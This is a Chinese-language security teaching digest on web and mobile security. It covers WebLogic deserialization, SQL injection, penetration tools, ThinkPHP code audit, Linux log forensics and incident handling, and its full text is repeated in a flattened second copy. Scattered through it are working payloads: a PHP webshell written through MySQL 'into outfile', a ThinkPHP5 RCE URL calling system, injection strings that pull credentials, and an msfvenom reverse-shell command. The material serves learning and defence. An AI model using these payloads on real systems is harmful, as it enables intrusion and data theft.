专注Web及移动安全[红日安全88期]
字数 4014 2025-08-18 11:38:41

Web及移动安全综合教学文档

一、Web安全漏洞与利用

1.1 Oracle WebLogic XMLDecoder反序列化漏洞

  • 漏洞编号: CVE-2019-2725补丁绕过
  • 漏洞类型: 远程反序列化命令执行0day漏洞
  • 影响版本: WebLogic 10.3.6.0, 12.1.3.0, 12.2.1.3
  • 利用原理:
    • 通过构造恶意的XML请求触发XMLDecoder反序列化
    • 绕过Oracle官方补丁的防护措施
    • 实现远程代码执行(RCE)
  • 防护措施:
    • 及时应用Oracle最新安全补丁
    • 限制访问WebLogic Console的IP地址
    • 禁用T3协议或配置访问控制

1.2 MySQL注入技术

宽字节注入

  • 原理: 利用数据库字符集转换特性(如GBK)绕过转义
  • 利用场景:
    • 当PHP配置magic_quotes_gpc=On
    • 数据库使用GBK等宽字符集
  • Payload示例: %df%27 → 转换为有效单引号

Root权限下的MySQL注入

  • 利用技巧1:

    • 通过into outfile写入WebShell
    • 需要知道Web目录绝对路径
    • 需要FILE权限
    • 示例: union select 1,"<?php eval($_POST[cmd]);?>",3 into outfile '/var/www/html/shell.php'
  • 利用技巧2:

    • 利用load_file()读取系统文件
    • 利用into dumpfile写入二进制文件
    • 利用general_log记录查询日志到Web目录

1.3 WordPress插件漏洞

  • Form Maker SQL注入漏洞
    • 影响版本: 特定版本的Form Maker插件
    • 漏洞位置: 未过滤的用户输入直接拼接到SQL查询
    • 利用方式: 通过构造恶意表单提交触发注入

1.4 Access数据库注入

  • 手工注入技巧:
    • 判断注入点: and 1=1 / and 1=2
    • 获取表名: union select 1,2 from table_name
    • 获取列名: union select 1,column_name from table_name
    • 数据提取: union select 1,concat(username,':',password) from users

1.5 挖洞神器-JSFinder

  • 功能:
    • 自动爬取网站JavaScript文件
    • 提取API接口、敏感路径
    • 发现隐藏功能点
  • 使用场景:
    • 信息收集阶段
    • 寻找未授权访问接口
    • 发现敏感信息泄露

二、渗透测试技术

2.1 内网探测技术

ICMP探测存活主机

  • 原理: 发送ICMP Echo请求(Ping)
  • 工具:
    • ping命令
    • fping批量探测
    • nmap -sn主机发现
  • 绕过限制:
    • TCP/UDP探测
    • ARP扫描

MSF内网探测

  • 模块: auxiliary/scanner/discovery/arp_sweep
  • 优势: 不依赖ICMP协议
  • 技巧:
    • 设置合适线程数
    • 使用db_nmap保存结果到数据库

2.2 外网到内网渗透

  • 常见路径:
    1. Web应用漏洞→Web服务器权限
    2. 提权→域内主机权限
    3. 横向移动→域控权限
  • 技术要点:
    • 端口转发(LCX, Earthworm)
    • 代理工具(reGeorg, Neo-reGeorg)
    • 凭证窃取(Mimikatz)

2.3 靶机渗透实例(Irked)

  1. 信息收集:
    • 端口扫描发现IRC服务(6667)
    • 发现隐藏目录/irked
  2. 漏洞利用:
    • IRC服务后门
    • SUID提权(利用viewuser)
  3. 权限提升:
    • 利用SUID程序执行任意命令
    • 获取root权限

2.4 BadUSB攻击

  • 原理: 伪装USB设备为HID键盘
  • 工具: Rubber Ducky, Malduino
  • 攻击流程:
    1. 制作恶意脚本
    2. 插入目标电脑
    3. 自动执行命令(下载执行payload)
  • 防御:
    • 禁用自动运行
    • 使用USB端口控制

2.5 CVE-2019-0708(BlueKeep)检测

  • 漏洞描述: Windows RDP服务远程代码执行
  • MSF检测模块: auxiliary/scanner/rdp/cve_2019_0708_bluekeep
  • 风险: 无需认证即可触发
  • 影响系统: Windows 7, Server 2008 R2等

三、安全工具详解

3.1 Katoolin

  • 功能: 在Ubuntu/Debian上安装Kali工具
  • 安装:
    git clone https://github.com/LionSec/katoolin.git
    cp katoolin/katoolin.py /usr/bin/katoolin
    chmod +x /usr/bin/katoolin
    
  • 使用:
    • katoolin: 进入交互界面
    • 选择工具类别安装

3.2 Scanless

  • 功能: 匿名端口扫描
  • 原理: 利用第三方网站执行扫描
  • 支持的引擎:
    • yougetsignal.com
    • viewdns.info
    • hackertarget.com
  • 示例:
    scanless -t hackertarget.com -s 192.168.1.1
    

3.3 Webkiller

  • 功能: Web应用自动化攻击工具
  • 特性:
    • 自动扫描漏洞
    • 支持多种攻击向量
    • 结果可视化

3.4 Ettercap

  • 功能: 网络嗅探和中间人攻击
  • 攻击类型:
    • ARP欺骗
    • DNS欺骗
    • SSL剥离
  • 防御:
    • 静态ARP绑定
    • 使用HTTPS everywhere

3.5 Brutespray

  • 功能: 基于Nmap扫描结果的自动化爆破
  • 工作流程:
    1. nmap -oX results.xml
    2. brutespray --file results.xml
  • 支持协议:
    • SSH, FTP, RDP
    • MySQL, MSSQL
    • Telnet等

四、代码审计技术

4.1 ThinkPHP5代码执行漏洞

  • 漏洞位置: 框架核心文件
  • 触发条件:
    • 特定路由配置
    • 未过滤的控制器名
  • 利用方式:
    • 通过构造恶意URL触发
    • 示例: /index.php?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami

4.2 审计方法论

  1. 入口点分析:
    • 用户输入点(HTTP请求参数)
    • 文件上传点
    • API接口
  2. 危险函数追踪:
    • eval(), system()
    • unserialize()
    • SQL拼接点
  3. 数据流分析:
    • 输入→处理→输出全链路
    • 未过滤/转义的数据使用

五、日志分析与取证

5.1 Linux日志安全分析

  • 关键日志文件:
    • /var/log/auth.log: 认证日志
    • /var/log/secure: SSH登录记录
    • /var/log/apache2/access.log: Web访问日志
  • 分析技巧:
    • grep 'Failed password' /var/log/auth.log: 查看失败登录
    • last: 查看登录历史
    • who /var/log/wtmp: 当前登录用户

5.2 攻击取证分析

  1. 时间线分析:
    • ls -altr: 查看文件修改时间
    • find / -mtime -1: 查找24小时内修改的文件
  2. 进程分析:
    • ps auxf: 查看进程树
    • lsof -i: 查看网络连接
  3. 隐藏进程检测:
    • ps -ef | awk '{print $2}' | sort -n | uniq -c | awk '$1>1': 检测PID异常

六、企业安全实践

6.1 安全运营体系

  1. 监测:
    • SIEM系统部署
    • 日志集中收集
  2. 响应:
    • 事件分类分级
    • 应急预案
  3. 改进:
    • 根因分析
    • 防护策略优化

6.2 漏洞扫描

  • 扫描策略:
    • 定期全面扫描
    • 变更后专项扫描
    • 高危漏洞紧急扫描
  • 工具选择:
    • Nessus, OpenVAS
    • Nexpose, Qualys

6.3 SSH安全加固

  1. 配置优化:
    • 禁用root登录
    • 使用密钥认证
    • 修改默认端口
  2. 防护措施:
    • Fail2ban防爆破
    • 限制访问IP
    • 启用2FA

七、工控安全学习路线

  1. 基础知识:
    • PLC工作原理
    • 工业协议(Modbus, DNP3)
  2. 安全技术:
    • 协议分析
    • 异常检测
  3. 实践环境:
    • 搭建工控实验环境
    • 使用ICS模拟器

八、安全事件管理

8.1 分类分级

  • 分类维度:
    • 网络攻击
    • 数据泄露
    • 系统故障
  • 分级标准:
    • 影响范围
    • 业务重要性
    • 恢复难度

8.2 应急处置

  1. 组织架构:
    • 应急领导小组
    • 技术处置组
    • 对外沟通组
  2. 流程:
    • 事件确认
    • 影响控制
    • 证据保留
    • 系统恢复

8.3 监测预警

  • 监测手段:
    • IDS/IPS
    • 流量分析
    • 威胁情报
  • 预警级别:
    • 红/橙/黄/蓝
    • 对应响应措施

九、Kali Linux渗透测试汇总

9.1 常用工具分类

  1. 信息收集:
    • nmap, recon-ng
    • theHarvester, maltego
  2. 漏洞分析:
    • OpenVAS, Nikto
    • sqlmap, wpscan
  3. 密码攻击:
    • hydra, john
    • hashcat, crunch
  4. 权限维持:
    • metasploit, empire
    • weevely, cobalt strike

9.2 Msfvenom进阶

  • 命令补全技巧:
    • msfvenom --list payloads
    • msfvenom --list encoders
    • msfvenom --help-formats
  • Payload生成示例:
    msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.100 LPORT=4444 -f exe -o payload.exe
    

十、未来安全趋势

  1. 云安全挑战:
    • 配置错误导致的数据泄露
    • 容器安全风险
  2. AI安全:
    • 对抗样本攻击
    • 模型窃取
  3. 5G与物联网:
    • 大规模设备安全
    • 边缘计算安全
  4. 隐私保护:
    • GDPR合规
    • 数据脱敏技术

本教学文档涵盖了Web安全、渗透测试、代码审计、企业安全等多个领域的关键技术点,可作为安全学习和实践的参考指南。建议结合具体工具和实践环境进行深入学习。

Web及移动安全综合教学文档 一、Web安全漏洞与利用 1.1 Oracle WebLogic XMLDecoder反序列化漏洞 漏洞编号 : CVE-2019-2725补丁绕过 漏洞类型 : 远程反序列化命令执行0day漏洞 影响版本 : WebLogic 10.3.6.0, 12.1.3.0, 12.2.1.3 利用原理 : 通过构造恶意的XML请求触发XMLDecoder反序列化 绕过Oracle官方补丁的防护措施 实现远程代码执行(RCE) 防护措施 : 及时应用Oracle最新安全补丁 限制访问WebLogic Console的IP地址 禁用T3协议或配置访问控制 1.2 MySQL注入技术 宽字节注入 原理 : 利用数据库字符集转换特性(如GBK)绕过转义 利用场景 : 当PHP配置 magic_quotes_gpc=On 时 数据库使用GBK等宽字符集 Payload示例 : %df%27 → 转换为有效单引号 Root权限下的MySQL注入 利用技巧1 : 通过 into outfile 写入WebShell 需要知道Web目录绝对路径 需要 FILE 权限 示例: union select 1,"<?php eval($_POST[cmd]);?>",3 into outfile '/var/www/html/shell.php' 利用技巧2 : 利用 load_file() 读取系统文件 利用 into dumpfile 写入二进制文件 利用 general_log 记录查询日志到Web目录 1.3 WordPress插件漏洞 Form Maker SQL注入漏洞 影响版本: 特定版本的Form Maker插件 漏洞位置: 未过滤的用户输入直接拼接到SQL查询 利用方式: 通过构造恶意表单提交触发注入 1.4 Access数据库注入 手工注入技巧 : 判断注入点: and 1=1 / and 1=2 获取表名: union select 1,2 from table_name 获取列名: union select 1,column_name from table_name 数据提取: union select 1,concat(username,':',password) from users 1.5 挖洞神器-JSFinder 功能 : 自动爬取网站JavaScript文件 提取API接口、敏感路径 发现隐藏功能点 使用场景 : 信息收集阶段 寻找未授权访问接口 发现敏感信息泄露 二、渗透测试技术 2.1 内网探测技术 ICMP探测存活主机 原理 : 发送ICMP Echo请求(Ping) 工具 : ping 命令 fping 批量探测 nmap -sn 主机发现 绕过限制 : TCP/UDP探测 ARP扫描 MSF内网探测 模块 : auxiliary/scanner/discovery/arp_sweep 优势 : 不依赖ICMP协议 技巧 : 设置合适线程数 使用 db_nmap 保存结果到数据库 2.2 外网到内网渗透 常见路径 : Web应用漏洞→Web服务器权限 提权→域内主机权限 横向移动→域控权限 技术要点 : 端口转发(LCX, Earthworm) 代理工具(reGeorg, Neo-reGeorg) 凭证窃取(Mimikatz) 2.3 靶机渗透实例(Irked) 信息收集 : 端口扫描发现IRC服务(6667) 发现隐藏目录 /irked 漏洞利用 : IRC服务后门 SUID提权(利用viewuser) 权限提升 : 利用SUID程序执行任意命令 获取root权限 2.4 BadUSB攻击 原理 : 伪装USB设备为HID键盘 工具 : Rubber Ducky, Malduino 攻击流程 : 制作恶意脚本 插入目标电脑 自动执行命令(下载执行payload) 防御 : 禁用自动运行 使用USB端口控制 2.5 CVE-2019-0708(BlueKeep)检测 漏洞描述 : Windows RDP服务远程代码执行 MSF检测模块 : auxiliary/scanner/rdp/cve_2019_0708_bluekeep 风险 : 无需认证即可触发 影响系统 : Windows 7, Server 2008 R2等 三、安全工具详解 3.1 Katoolin 功能 : 在Ubuntu/Debian上安装Kali工具 安装 : 使用 : katoolin : 进入交互界面 选择工具类别安装 3.2 Scanless 功能 : 匿名端口扫描 原理 : 利用第三方网站执行扫描 支持的引擎 : yougetsignal.com viewdns.info hackertarget.com 示例 : 3.3 Webkiller 功能 : Web应用自动化攻击工具 特性 : 自动扫描漏洞 支持多种攻击向量 结果可视化 3.4 Ettercap 功能 : 网络嗅探和中间人攻击 攻击类型 : ARP欺骗 DNS欺骗 SSL剥离 防御 : 静态ARP绑定 使用HTTPS everywhere 3.5 Brutespray 功能 : 基于Nmap扫描结果的自动化爆破 工作流程 : nmap -oX results.xml brutespray --file results.xml 支持协议 : SSH, FTP, RDP MySQL, MSSQL Telnet等 四、代码审计技术 4.1 ThinkPHP5代码执行漏洞 漏洞位置 : 框架核心文件 触发条件 : 特定路由配置 未过滤的控制器名 利用方式 : 通过构造恶意URL触发 示例: /index.php?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami 4.2 审计方法论 入口点分析 : 用户输入点(HTTP请求参数) 文件上传点 API接口 危险函数追踪 : eval() , system() unserialize() SQL拼接点 数据流分析 : 输入→处理→输出全链路 未过滤/转义的数据使用 五、日志分析与取证 5.1 Linux日志安全分析 关键日志文件 : /var/log/auth.log : 认证日志 /var/log/secure : SSH登录记录 /var/log/apache2/access.log : Web访问日志 分析技巧 : grep 'Failed password' /var/log/auth.log : 查看失败登录 last : 查看登录历史 who /var/log/wtmp : 当前登录用户 5.2 攻击取证分析 时间线分析 : ls -altr : 查看文件修改时间 find / -mtime -1 : 查找24小时内修改的文件 进程分析 : ps auxf : 查看进程树 lsof -i : 查看网络连接 隐藏进程检测 : ps -ef | awk '{print $2}' | sort -n | uniq -c | awk '$1>1' : 检测PID异常 六、企业安全实践 6.1 安全运营体系 监测 : SIEM系统部署 日志集中收集 响应 : 事件分类分级 应急预案 改进 : 根因分析 防护策略优化 6.2 漏洞扫描 扫描策略 : 定期全面扫描 变更后专项扫描 高危漏洞紧急扫描 工具选择 : Nessus, OpenVAS Nexpose, Qualys 6.3 SSH安全加固 配置优化 : 禁用root登录 使用密钥认证 修改默认端口 防护措施 : Fail2ban防爆破 限制访问IP 启用2FA 七、工控安全学习路线 基础知识 : PLC工作原理 工业协议(Modbus, DNP3) 安全技术 : 协议分析 异常检测 实践环境 : 搭建工控实验环境 使用ICS模拟器 八、安全事件管理 8.1 分类分级 分类维度 : 网络攻击 数据泄露 系统故障 分级标准 : 影响范围 业务重要性 恢复难度 8.2 应急处置 组织架构 : 应急领导小组 技术处置组 对外沟通组 流程 : 事件确认 影响控制 证据保留 系统恢复 8.3 监测预警 监测手段 : IDS/IPS 流量分析 威胁情报 预警级别 : 红/橙/黄/蓝 对应响应措施 九、Kali Linux渗透测试汇总 9.1 常用工具分类 信息收集 : nmap, recon-ng theHarvester, maltego 漏洞分析 : OpenVAS, Nikto sqlmap, wpscan 密码攻击 : hydra, john hashcat, crunch 权限维持 : metasploit, empire weevely, cobalt strike 9.2 Msfvenom进阶 命令补全技巧 : msfvenom --list payloads msfvenom --list encoders msfvenom --help-formats Payload生成示例 : 十、未来安全趋势 云安全挑战 : 配置错误导致的数据泄露 容器安全风险 AI安全 : 对抗样本攻击 模型窃取 5G与物联网 : 大规模设备安全 边缘计算安全 隐私保护 : GDPR合规 数据脱敏技术 本教学文档涵盖了Web安全、渗透测试、代码审计、企业安全等多个领域的关键技术点,可作为安全学习和实践的参考指南。建议结合具体工具和实践环境进行深入学习。